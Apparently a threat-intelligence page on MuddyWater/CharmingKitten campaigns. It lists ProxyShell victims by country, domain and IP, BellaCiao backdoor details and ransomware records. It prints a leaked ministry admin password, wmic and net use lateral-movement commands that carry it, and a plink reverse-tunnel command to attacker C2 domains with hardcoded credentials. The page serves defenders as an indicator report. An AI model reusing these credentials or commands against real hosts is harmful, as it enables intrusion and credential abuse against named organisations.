Documentation Index
Fetch the complete documentation index at: https://mintlify.com/KittenBusters/CharmingKitten/llms.txt
Use this file to discover all available pages before exploring further.
Overview
This page documents confirmed cyber attacks identified across Episodes 1-4 of the MuddyWater intelligence collection. The attacks primarily targeted government entities, civilian companies, and media organizations using ProxyShell exploits and BellaCiao backdoor deployments.
Episode 2: ProxyShell Campaign
Turkish Foreign Ministry Attack
The threat actor successfully compromised the Turkish Foreign Ministry’s email infrastructure at eposta.mfa.gov.ct.tr.
Attack Details:
- Target: Turkish Foreign Ministry (eposta.mfa.gov.ct.tr)
- IP Address: 212.175.168.58
- Attack Vector: ProxyShell exploitation
- Webshell Deployed:
aspnet_client/system_web/aspnet_client.aspx
- Post-Exploitation: Credential harvesting, lateral movement
- Credentials Found:
- Username:
Admin1@MFA
- Password:
KazimAtes1977+-*/!!KazimAtes1977+-*/!!
- Secondary Account:
pfsenselondra@MFA / 1234qqqQQQ
Lateral Movement Commands:
wmic /NODE:"10.20.101.17" /USER:"Admin1@MFA" /PASSWORD:"KazimAtes1977+-*/!!KazimAtes1977+-*/!!" Process Call Create "cmd.exe /c netstat -ano -p tcp >c:\\windows\\temp\\Crashpad\\log.txt 2>&1"
net use \\\\10.20.101.17\\C$ "KazimAtes1977+-*/!!KazimAtes1977+-*/!!" /user:Admin1@MFA
Turkey - Documented Targets
A total of 41 Turkish organizations were compromised via ProxyShell:
| Organization | Domain | Status |
|---|
| Turkish Foreign Ministry | eposta.mfa.gov.ct.tr | Shell Deployed |
| Akbas Group | exchange.akbasoglu.com | Compromised |
| Magma Weld | hibrit.magmaweld.com | Compromised |
| Bahcelievler Municipality | mail.bahcelievler.bel.tr | Compromised |
| Mersin Municipality | mail.mersin.bel.tr | Government Entity |
| Aydin Governorate | smtp.aydinaski.gov.tr | Government Entity |
| KMC Group | mail.kmcgroup.com.tr | Compromised |
| Calor Group | webmail.calor.com.tr | Compromised |
Iran - Documented Targets
Iranian organizations compromised during the campaign:
| IP Address | Domain | Notes |
|---|
| 109.125.132.66 | - | Shell deployed |
| 109.232.1.181 | mail server | Mail system |
| 178.252.191.163 | qudsdaily | Media organization |
| 185.189.122.142 | - | Error during exploitation |
| 217.218.21.105 | - | Anti-smuggling agency |
| 37.235.27.28 | - | Error during exploitation |
| 45.147.77.137 | - | legacyDN enumeration |
Saudi Arabia - Documented Targets
Saudi organizations compromised in the campaign:
| IP/Domain | Organization | Status |
|---|
| 212.12.165.155 | - | Shell Deployed |
| 77.240.93.43 | mail server | Compromised |
| 85.184.233.203 | - | Shell Deployed |
| mail.almanahospital.com.sa | Al Mana Hospital | legacyDN enumeration |
| mail.ihcc.sa | IHCC | legacyDN enumeration |
| mail1.manafea.net | Manafea | Shell Deployed |
| mail1.solbsteel.com | Solb Steel | Compromised |
| webmail.almanahospital.com.sa | Al Mana Hospital | Failed attempt |
Kuwait - Documented Targets
21 Kuwaiti organizations were targeted:
| Organization | Domain | Type |
|---|
| Kuwait Chamber of Commerce | webmail.kccec.com.kw | Government |
| Kout Cloud | mx02.koutcloud.com, mx03.koutcloud.com | Infrastructure |
| Zamzam Takaful | smg.zamzamtakaful.com | Financial |
| KFMB | mail.kfmb.com.kw | Company |
| Azzad Group | mail.azzadgroup.com.kw | Company |
| KYFCO | exch1.kyfco.com | Company |
Episode 3: BellaCiao Backdoor Campaign
BellaCiao Malware Overview
Variant 1: Service-based persistence
- Service Name: “Java Update Services” / “Microsoft Exchange Services Log”
- Path:
C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe
- Technique: Disguised as legitimate Microsoft/Java service
Variant 2: Web-based backdoor
- Configuration: Port 8000, 24-hour alive time
- Components:
- Service:
C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe (hidden)
- Plink:
C:\ProgramData\Microsoft\Diagnostic\JavaUpdateServices.exe
- Webserver:
C:\ProgramData\Microsoft\Diagnostic\JavaUpdateServices.ps1
- C2 Domains:
twittsupport.com, msn-center.uk
- Credentials: Username:
Israel / Password: Israel@123!
- Port Forwarding:
127.0.0.1:9090:127.0.0.1:49450
Dubai Police Attack
The BellaCiao Variant 2 specifically targeted Dubai Police infrastructure:
Configuration Found:
subdomain=> dubaipolice
service name=Java Update Services
port=>8000
alive time=>24
$domain = "twittsupport.com"
$domain2 = "msn-center.uk"
$Path = "C:\ProgramData\Microsoft\Diagnostic\Java Update Services.exe"
$command = "echo Y | $Path $domain -P 443 -C -R 127.0.0.1:9090:127.0.0.1:49450 -l Israel -pw Israel@123!"
Episode 4: Ransomware Operations
Evidence of ransomware deployment activities:
Infrastructure
- Payment Tracking: Bitcoin payment records (0-SERVICE-payment BTC.csv)
- Service Records: Victim tracking database (0-SERVICE-Service.csv)
- Network Data: Target network information (1-NET-Sheet1.csv)
Failed Operations Log
Shell deployment failures documented at 49 locations across:
- Austria (At): 5 failed attempts
- Australia (Au): 1 failed attempt
- Azerbaijan (Az): 1 confirmed shell
- Germany (De): Multiple attempts with mixed success
- France (Fr): 4 targets including mail.lemstyle.ru
- India (In): 2 targets
- Israel (il): 3 targets including prizma-hakirot.co.il, interprom.co.il
- South Korea (Kr): 1 target
- Turkey (Tr): 3 targets including bilpagida.com, kmcgroup.com.tr
- United Kingdom (Uk): 5 targets
Attack Vector Summary
ProxyShell Exploitation (CVE-2021-34473, CVE-2021-34523, CVE-2021-31207)
Typical Attack Path:
- ProxyShell vulnerability exploitation on Microsoft Exchange servers
- Webshell deployment to
/owa/auth/ or /aspnet_client/ directories
- Credential harvesting and legacyDN enumeration
- Lateral movement via WMI and network share access
- Deployment of BellaCiao backdoor for persistent access
Webshell Naming Patterns:
- Randomized 5-10 character names:
msfuj.aspx, webclient.aspx, wsrnt.aspx
- System-themed names:
OutlookOU.aspx, errorFE.aspx, logon.aspx
Geographic Distribution
Primary Target Countries:
- Turkey: 41+ organizations (Government, Private Sector)
- Saudi Arabia: 29 organizations (Healthcare, Industrial, Commercial)
- Kuwait: 21 organizations (Government, Financial, Commercial)
- Iran: 18+ organizations (Government, Media)
- UAE: Government infrastructure (Dubai Police)
- Global: 49+ additional targets across Europe, Asia, Middle East
Impact Assessment
Sectors Affected
- Government: Foreign ministries, municipalities, law enforcement
- Healthcare: Hospitals and medical facilities
- Financial: Insurance, investment firms
- Industrial: Manufacturing, steel, textiles
- Media: News organizations
- Technology: IT service providers
- Infrastructure: Email and hosting providers
Compromise Indicators
High Confidence Compromises:
- Turkish Foreign Ministry (confirmed credentials, lateral movement)
- Dubai Police (BellaCiao backdoor configuration)
- 30+ organizations with confirmed shell deployment
Medium Confidence:
- 50+ organizations with ProxyShell vulnerability exploitation attempts
- Multiple failed exploitation attempts indicating reconnaissance
Defender Recommendations
See the Analysis Summary page for detailed defensive recommendations.